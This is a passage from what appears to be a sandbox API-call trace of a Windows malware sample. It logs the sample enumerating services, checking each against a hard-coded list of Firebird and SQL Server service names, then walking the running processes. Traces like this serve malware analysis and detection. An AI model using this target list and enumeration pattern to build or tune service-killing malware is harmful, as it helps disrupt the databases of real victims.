lpString2="DPS") returned 1 [0067.570] lstrlenW (lpString="DusmSvc") returned 7 [0067.570] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0067.570] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0067.570] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0067.570] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0067.570] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0067.570] lstrlenW (lpString="EventLog") returned 8 [0067.570] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0067.570] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0067.570] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0067.570] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0067.570] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0067.570] lstrlenW (lpString="EventSystem") returned 11 [0067.570] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0067.570] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0067.570] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0067.570] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0067.570] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0067.570] lstrlenW (lpString="FontCache") returned 9 [0067.570] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0067.570] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0067.571] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0067.571] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0067.571] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0067.571] lstrlenW (lpString="gpsvc") returned 5 [0067.571] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0067.571] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0067.571] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0067.571] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0067.571] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0067.571] lstrlenW (lpString="iphlpsvc") returned 8 [0067.571] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0067.571] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0067.571] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0067.571] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0067.571] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0067.571] lstrlenW (lpString="KeyIso") returned 6 [0067.571] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0067.571] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0067.571] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0067.571] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0067.571] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0067.571] lstrlenW (lpString="LanmanServer") returned 12 [0067.571] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0067.571] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0067.571] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0067.571] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0067.571] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0067.571] lstrlenW (lpString="LanmanWorkstation") returned 17 [0067.571] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0067.571] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0067.571] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0067.571] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0067.571] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0067.571] lstrlenW (lpString="lfsvc") returned 5 [0067.572] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0067.572] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0067.572] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0067.572] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0067.572] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0067.572] lstrlenW (lpString="lmhosts") returned 7 [0067.572] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0067.572] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0067.572] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0067.572] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0067.572] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0067.572] lstrlenW (lpString="LSM") returned 3 [0067.572] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0067.572] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0067.572] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0067.572] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0067.572] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0067.572] lstrlenW (lpString="MapsBroker") returned 10 [0067.572] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MapsBroker") returned -1 [0067.572] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MapsBroker") returned -1 [0067.572] lstrcmpiW (lpString1="sqlwriter", lpString2="MapsBroker") returned 1 [0067.572] lstrcmpiW (lpString1="mssqlserver", lpString2="MapsBroker") returned 1 [0067.572] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MapsBroker") returned 1 [0067.572] lstrlenW (lpString="MpsSvc") returned 6 [0067.572] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0067.572] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0067.572] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0067.572] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0067.572] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0067.572] lstrlenW (lpString="NcbService") returned 10 [0067.572] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0067.572] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0067.572] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0067.573] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0067.573] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0067.573] lstrlenW (lpString="netprofm") returned 8 [0067.573] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0067.573] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0067.573] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0067.573] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0067.573] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0067.573] lstrlenW (lpString="NlaSvc") returned 6 [0067.573] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0067.573] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0067.573] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0067.573] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0067.573] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0067.573] lstrlenW (lpString="nsi") returned 3 [0067.573] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0067.573] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0067.573] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0067.573] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0067.573] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0067.573] lstrlenW (lpString="PcaSvc") returned 6 [0067.573] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0067.573] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0067.573] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0067.573] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0067.573] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0067.573] lstrlenW (lpString="PlugPlay") returned 8 [0067.573] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0067.573] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0067.573] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0067.573] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0067.573] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0067.573] lstrlenW (lpString="Power") returned 5 [0067.573] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0067.574] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0067.574] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0067.574] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0067.574] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0067.574] lstrlenW (lpString="ProfSvc") returned 7 [0067.574] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0067.574] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0067.574] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0067.574] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0067.574] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0067.574] lstrlenW (lpString="RpcEptMapper") returned 12 [0067.574] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0067.574] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0067.574] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0067.574] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0067.574] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0067.574] lstrlenW (lpString="RpcSs") returned 5 [0067.574] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0067.574] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0067.574] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0067.574] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0067.574] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0067.574] lstrlenW (lpString="SamSs") returned 5 [0067.574] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0067.574] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0067.574] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0067.574] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0067.574] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0067.574] lstrlenW (lpString="Schedule") returned 8 [0067.574] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0067.574] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0067.574] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0067.574] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0067.574] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0067.575] lstrlenW (lpString="SecurityHealthService") returned 21 [0067.575] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0067.575] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0067.575] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0067.575] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0067.575] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0067.575] lstrlenW (lpString="SENS") returned 4 [0067.575] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0067.575] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0067.575] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0067.575] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0067.575] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0067.575] lstrlenW (lpString="ShellHWDetection") returned 16 [0067.575] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0067.575] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0067.575] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0067.575] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0067.575] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0067.575] lstrlenW (lpString="Spooler") returned 7 [0067.575] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0067.575] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0067.575] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0067.575] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0067.575] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0067.575] lstrlenW (lpString="SSDPSRV") returned 7 [0067.575] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0067.575] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0067.575] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0067.618] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0067.618] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0067.618] lstrlenW (lpString="StateRepository") returned 15 [0067.618] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0067.619] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0067.619] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0067.619] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0067.619] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0067.619] lstrlenW (lpString="SysMain") returned 7 [0067.619] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0067.619] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0067.619] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0067.619] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0067.619] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x3d01278 | out: hHeap=0x690000) returned 1 [0067.619] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x328 [0067.623] Process32FirstW (in: hSnapshot=0x328, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0067.624] Process32NextW (in: hSnapshot=0x328, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0067.624] lstrlenW (lpString="System") returned 6 [0067.624] Process32NextW (in: hSnapshot=0x328, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0067.625] lstrlenW (lpString="smss.exe") returned 8 [0067.625] Process32NextW (in: hSnapshot=0x328, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0067.626] lstrlenW (lpString="csrss.exe") returned 9 [0067.626] Process32NextW (in: hSnapshot=0x328, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0067.627] lstrlenW (lpString="wininit.exe") returned 11 [0067.627] Process32NextW (in: hSnapshot=0x328, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0067.627] lstrlenW (lpString="csrss.exe") returned 9 [0067.627] Process32NextW (in: hSnapshot=0x328, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0067.628] lstrlenW (lpString="winlogon.exe") returned 12 [0067.628] Process32NextW (in: hSnapshot=0x328, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0067.629] lstrlenW (lpString="services.exe") returned 12 [0067.629] Process32NextW (in: hSnapshot=0x328, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0067.629] lstrlenW (lpString="lsass.exe") returned 9 [0067.629] Process32NextW (in: hSnapshot=0x328, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0067.630] lstrlenW (lpString="svchost.exe") returned 11 [0067.630] Process32NextW (in: hSnapshot=0x328, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x234, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0067.631] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0067.631] Process32NextW (in: hSnapshot=0x328, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0067.631] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0067.631] Process32NextW (in: hSnapshot=0x328, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0067.632] lstrlenW (lpString="svchost.exe") returned 11 [0067.632] Process32NextW (in: hSnapshot=0x328, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0067.633] lstrlenW (lpString="dwm.exe") returned 7 [0067.633] Process32NextW (in: hSnapshot=0x328, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x54, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0067.633] lstrlenW (lpString="svchost.exe") returned 11 [0067.634] Process32NextW (in: hSnapshot=0x328, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0067.634] lstrlenW (lpString="svchost.exe") returned 11 [0067.634] Process32NextW (in: hSnapshot=0x328, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0067.635] lstrlenW (lpString="svchost.exe") returned 11 [0067.635] Process32NextW (in: hSnapshot=0x328, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0067.636] lstrlenW (lpString="svchost.exe") returned 11 [0067.636] Process32NextW (in: hSnapshot=0x328, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x27, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0067.636] lstrlenW (lpString="svchost.exe") returned 11 [0067.636] Process32NextW (in: hSnapshot=0x328, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0067.637] lstrlenW (lpString="svchost.exe") returned 11 [0067.637] Process32NextW (in: hSnapshot=0x328, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0067.638] lstrlenW (lpString="svchost.exe") returned 11 [0067.638] Process32NextW (in: hSnapshot=0x328, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0067.639] lstrlenW (lpString="svchost.exe") returned 11 [0067.639] Process32NextW (in: hSnapshot=0x328, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0067.639] lstrlenW (lpString="svchost.exe") returned 11 [0067.639] Process32NextW (in: hSnapshot=0x328, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0067.641] lstrlenW (lpString="spoolsv.exe") returned 11 [0067.641] Process32NextW (in: hSnapshot=0x328, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0067.642] lstrlenW (lpString="svchost.exe") returned 11 [0067.642] Process32NextW (in: hSnapshot=0x328, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0067.643] lstrlenW (lpString="svchost.exe") returned 11 [0067.643] Process32NextW (in: hSnapshot=0x328, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x4fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0067.643] lstrlenW (lpString="audiodg.exe") returned 11 [0067.643] Process32NextW (in: hSnapshot=0x328, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0067.644] lstrlenW (lpString="sihost.exe") returned 10 [0067.644] Process32NextW (in: hSnapshot=0x328, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x718, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0067.645] lstrlenW (lpString="svchost.exe") returned 11 [0067.645] Process32NextW (in: hSnapshot=0x328, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 